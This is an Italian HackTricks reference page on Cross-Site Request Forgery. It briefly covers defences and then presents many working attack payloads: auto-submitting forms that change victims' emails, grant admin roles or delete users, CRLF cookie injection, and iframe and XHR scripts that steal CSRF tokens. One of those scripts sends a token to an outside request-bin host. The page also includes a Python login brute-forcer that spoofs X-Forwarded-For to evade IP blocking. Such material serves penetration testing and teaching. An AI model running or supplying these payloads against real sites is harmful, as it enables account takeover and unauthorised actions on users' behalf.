CSRF (Cross Site Request Forgery)

Reading time: 22 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cross-Site Request Forgery (CSRF) Spiegata

Cross-Site Request Forgery (CSRF) è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Permette agli attaccanti di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, autenticato sulla piattaforma della vittima, visita un sito malevolo. Questo sito poi invia richieste all'account della vittima tramite metodi come l'esecuzione di JavaScript, l'invio di form o il caricamento di immagini.

Prerequisiti per un attacco CSRF

Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:

  1. Identify a Valuable Action: l'attaccante deve trovare un'azione da sfruttare, come cambiare la password dell'utente, l'email o elevare i privilegi.
  2. Session Management: la sessione dell'utente dovrebbe essere gestita esclusivamente tramite cookie o tramite l'header HTTP Basic Authentication, poiché altri header non possono essere manipolati per questo scopo.
  3. Absence of Unpredictable Parameters: la richiesta non dovrebbe contenere parametri imprevedibili, poiché possono impedire l'attacco.

Quick Check

Puoi catturare la richiesta in Burp e verificare le protezioni CSRF; per testare dal browser puoi cliccare su Copy as fetch e controllare la richiesta:

Defending Against CSRF

Possono essere implementate diverse contromisure per proteggersi dagli attacchi CSRF:

  • SameSite cookies: Questo attributo impedisce al browser di inviare i cookie insieme alle richieste cross-site. More about SameSite cookies.
  • Cross-origin resource sharing: La policy CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede la lettura della risposta dal sito vittima. Learn about CORS bypass.
  • User Verification: Richiedere la password dell'utente o la risoluzione di un captcha può confermare l'intento dell'utente.
  • Checking Referrer or Origin Headers: La validazione di questi header può aiutare a garantire che le richieste provengano da fonti fidate. Tuttavia, la creazione attenta di URL può bypassare controlli implementati male, come ad esempio:
    • Using http://mal.net?orig=http://example.com (l'URL termina con l'URL attendibile)
    • Using http://example.com.mal.net (l'URL inizia con l'URL attendibile)
  • Modifying Parameter Names: Modificare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
  • CSRF Tokens: Integrare un token CSRF unico per ogni sessione e richiedere questo token nelle richieste successive può mitigare significativamente il rischio di CSRF. L'efficacia del token può essere aumentata facendo rispettare CORS.

Comprendere e implementare queste difese è cruciale per mantenere la sicurezza e l'integrità delle applicazioni web.

Trappole comuni nelle difese

  • SameSite pitfalls: SameSite=Lax permette ancora navigazioni cross-site top-level come link e form GET, quindi molti CSRF basati su GET rimangono possibili. Vedi la matrice dei cookie in Hacking with Cookies > SameSite.
  • Header checks: Valida Origin quando presente; se sia Origin che Referer sono assenti, fallire chiudendo. Non affidarsi a confronti per substring/regex di Referer che possono essere bypassati con domini somiglianti o URL appositamente creati, e nota il trucco di soppressione meta name="referrer" content="never".
  • Method overrides: Tratta i metodi sovrascritti (_method o override headers) come operazioni che modificano lo stato ed applica CSRF sul metodo effettivo, non solo su POST.
  • Login flows: Applica protezioni CSRF anche al login; altrimenti, il login CSRF permette la forzatura della ri-autenticazione in account controllati dall'attaccante, che può essere concatenata con stored XSS.

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

Alcune applicazioni applicano la validazione CSRF solo su POST mentre la saltano per altri verbi. Un anti-pattern comune in PHP appare così:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Se l'endpoint vulnerabile accetta anche parametri da $_REQUEST, puoi rieseguire la stessa azione come richiesta GET e omettere completamente il token CSRF. Questo converte un'azione POST-only in una azione GET che ha successo senza token.

Esempio:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Note:

  • Questo pattern appare frequentemente insieme a reflected XSS quando le risposte sono servite in modo errato come text/html invece di application/json.
  • Abbinato a XSS, questo riduce notevolmente le barriere allo sfruttamento perché puoi fornire un unico link GET che attiva il percorso di codice vulnerabile ed evita completamente i controlli CSRF.

Mancanza del token

Le applicazioni potrebbero implementare un meccanismo per validare i token quando sono presenti. Tuttavia, si crea una vulnerabilità se la validazione viene del tutto saltata quando il token è assente. Gli attaccanti possono sfruttare questo rimuovendo il parametro che trasporta il token, non solo il suo valore. Questo permette loro di eludere il processo di validazione e condurre efficacemente un attacco Cross-Site Request Forgery (CSRF).

Inoltre, alcune implementazioni verificano solo che il parametro esista ma non ne validano il contenuto, quindi un valore token vuoto è accettato. In tal caso, basta inviare la richiesta con csrf=:

http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

PoC minimale con invio automatico (nasconde la navigazione con history.pushState):

html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

Il CSRF token non è legato alla sessione utente

Le applicazioni che non legano i CSRF token alle sessioni utente presentano un significativo rischio per la sicurezza. Questi sistemi verificano i token rispetto a un pool globale invece di assicurare che ogni token sia vincolato alla sessione che l'ha generato.

Ecco come gli attaccanti lo sfruttano:

  1. Autenticarsi usando il proprio account.
  2. Ottenere un CSRF token valido dal pool globale.
  3. Usare questo token in una CSRF attack contro una vittima.

Questa vulnerabilità permette agli attaccanti di effettuare richieste non autorizzate per conto della vittima, sfruttando il meccanismo di validazione dei token inadeguato dell'applicazione.

Bypass del metodo

Se la richiesta sta usando un metodo "strano", verifica se funziona la funzionalità di method override. Per esempio, se sta usando un metodo PUT/DELETE/PATCH puoi provare a usare un POST e inviare un override, es. https://example.com/my/dear/api/val/num?_method=PUT.

Questo può funzionare anche inviando il parametro _method nel corpo di un POST o usando header di override:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Comune in framework come Laravel, Symfony, Express e altri. Gli sviluppatori a volte saltano il controllo CSRF sui verbi non-POST assumendo che i browser non possano emetterli; con gli override puoi comunque raggiungere quegli handler via POST.

Esempio di richiesta e PoC HTML:

http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

Custom header token bypass

Se la richiesta aggiunge un custom header con un token alla richiesta come metodo di protezione CSRF, allora:

  • Testa la richiesta senza il Customized Token e anche header.
  • Testa la richiesta con esattamente la stessa lunghezza ma token diverso.

Le applicazioni possono implementare la protezione CSRF duplicando il token sia in un cookie sia in un parametro di richiesta oppure impostando un CSRF cookie e verificando se il token inviato nel backend corrisponde al cookie. L'applicazione valida le richieste controllando se il token nel parametro di richiesta corrisponde al valore nel cookie.

Tuttavia, questo metodo è vulnerabile ad attacchi CSRF se il sito ha falle che permettono a un attacker di impostare un CSRF cookie nel browser della vittima, come una vulnerabilità CRLF. L'attacker può sfruttare questo caricando un'immagine ingannevole che imposti il cookie, seguito dall'avvio dell'attacco CSRF.

Di seguito un esempio di come un attacco potrebbe essere strutturato:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Nota che se il csrf token è correlato con il session cookie questo attacco non funzionerà perché dovrai impostare alla vittima la tua sessione e, di conseguenza, ti attaccherai da solo.

Modifica del Content-Type

Secondo this, per evitare le richieste preflight usando il metodo POST questi sono i valori di Content-Type consentiti:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Tuttavia, nota che la logica del server può variare a seconda del Content-Type utilizzato, quindi dovresti provare i valori menzionati e altri come application/json,text/xml, application/xml.

Example (from here) of sending JSON data as text/plain:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Bypassare le richieste preflight per dati JSON

Quando si tenta di inviare dati JSON tramite una richiesta POST, usare Content-Type: application/json in un form HTML non è direttamente possibile. Analogamente, utilizzare XMLHttpRequest per inviare questo content type avvia una richiesta preflight. Tuttavia, esistono strategie per potenzialmente aggirare questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:

  1. Use Alternative Content Types: Impiega Content-Type: text/plain o Content-Type: application/x-www-form-urlencoded impostando enctype="text/plain" nel form. Questo approccio testa se il backend utilizza i dati a prescindere dal Content-Type.
  2. Modify Content Type: Per evitare una richiesta preflight assicurando però che il server riconosca il contenuto come JSON, puoi inviare i dati con Content-Type: text/plain; application/json. Questo non attiva una preflight ma potrebbe essere elaborato correttamente dal server se è configurato per accettare application/json.
  3. SWF Flash File Utilization: Un metodo meno comune ma fattibile consiste nell'usare un file SWF flash per aggirare tali restrizioni. Per una comprensione approfondita di questa tecnica, consulta questo post.

Bypass del controllo Referrer / Origin

Evita l'header Referrer

Le applicazioni possono validare l'header 'Referer' solo quando è presente. Per impedire a un browser di inviare questo header, il seguente meta tag HTML può essere usato:

xml
<meta name="referrer" content="never">

Questo assicura che l'header 'Referer' venga omesso, potenzialmente bypassando i controlli di validazione in alcune applicazioni.

Bypass con regexp

URL Format Bypass

Per impostare il nome di dominio del server nell'URL che il Referrer sta per inviare all'interno dei parametri puoi fare:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

La prima parte di this CTF writeup spiega che Oak's source code, un router è impostato per handle HEAD requests as GET requests senza corpo della risposta - una soluzione alternativa comune che non è unica di Oak. Invece di un handler specifico che si occupa delle richieste HEAD, queste vengono semplicemente passate all'handler GET ma l'app rimuove il corpo della risposta.

Quindi, se una richiesta GET è limitata, puoi semplicemente send a HEAD request that will be processed as a GET request.

Esempi di exploit

Stored CSRF via user-generated HTML

Quando rich-text editors o HTML injection sono consentiti, puoi persistere un fetch passivo che colpisce un endpoint GET vulnerabile. Qualsiasi utente che visualizza il contenuto eseguirà automaticamente la richiesta con i propri cookie.

  • Se l'app utilizza un token CSRF globale che non è legato alla sessione utente, lo stesso token potrebbe funzionare per tutti gli utenti, rendendo lo stored CSRF affidabile tra le vittime.

Esempio minimo che cambia l'email del visualizzatore quando viene caricato:

html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF concatenato con stored XSS

Login CSRF da solo può avere un impatto basso, ma concatenarlo con uno stored XSS autenticato diventa potente: costringere la vittima ad autenticarsi in un account controllato dall'attaccante; una volta in quel contesto, uno stored XSS in una pagina autenticata viene eseguito e può rubare token, dirottare la sessione o elevare privilegi.

  • Assicurati che l'endpoint di login sia suscettibile a CSRF (nessun token per sessione o verifica dell'Origin) e che non ci siano meccanismi che richiedano interazione utente.
  • Dopo il login forzato, naviga automaticamente a una pagina contenente il payload stored XSS dell'attaccante.

PoC minimale di login-CSRF:

html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

Esfiltrazione CSRF Token

Se un CSRF token viene usato come difence puoi provare a esfiltrarlo sfruttando una vulnerabilità XSS o una vulnerabilità Dangling Markup.

GET usando HTML tags

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Altri tag HTML5 che possono essere usati per inviare automaticamente una GET request sono:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Richiesta GET tramite form

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Richiesta POST di un modulo

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Richiesta POST di un form tramite iframe

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST request

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

Richiesta POST multipart/form-data

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST richiesta v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Richiesta POST di un form all'interno di un iframe

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Rubare il CSRF Token e inviare una POST request

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Rubare il CSRF Token e inviare una richiesta POST usando un iframe, un form e Ajax

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Rubare CSRF Token e inviare una richiesta POST usando un iframe e un form

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Rubare token e inviarlo usando 2 iframes

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal CSRF token con Ajax e inviare un post con un form

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF con Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Il codice può essere usato per Brut Force un login form usando un CSRF token (utilizza anche l'header X-Forwarded-For per cercare di bypassare un possibile IP blacklisting):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Strumenti

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks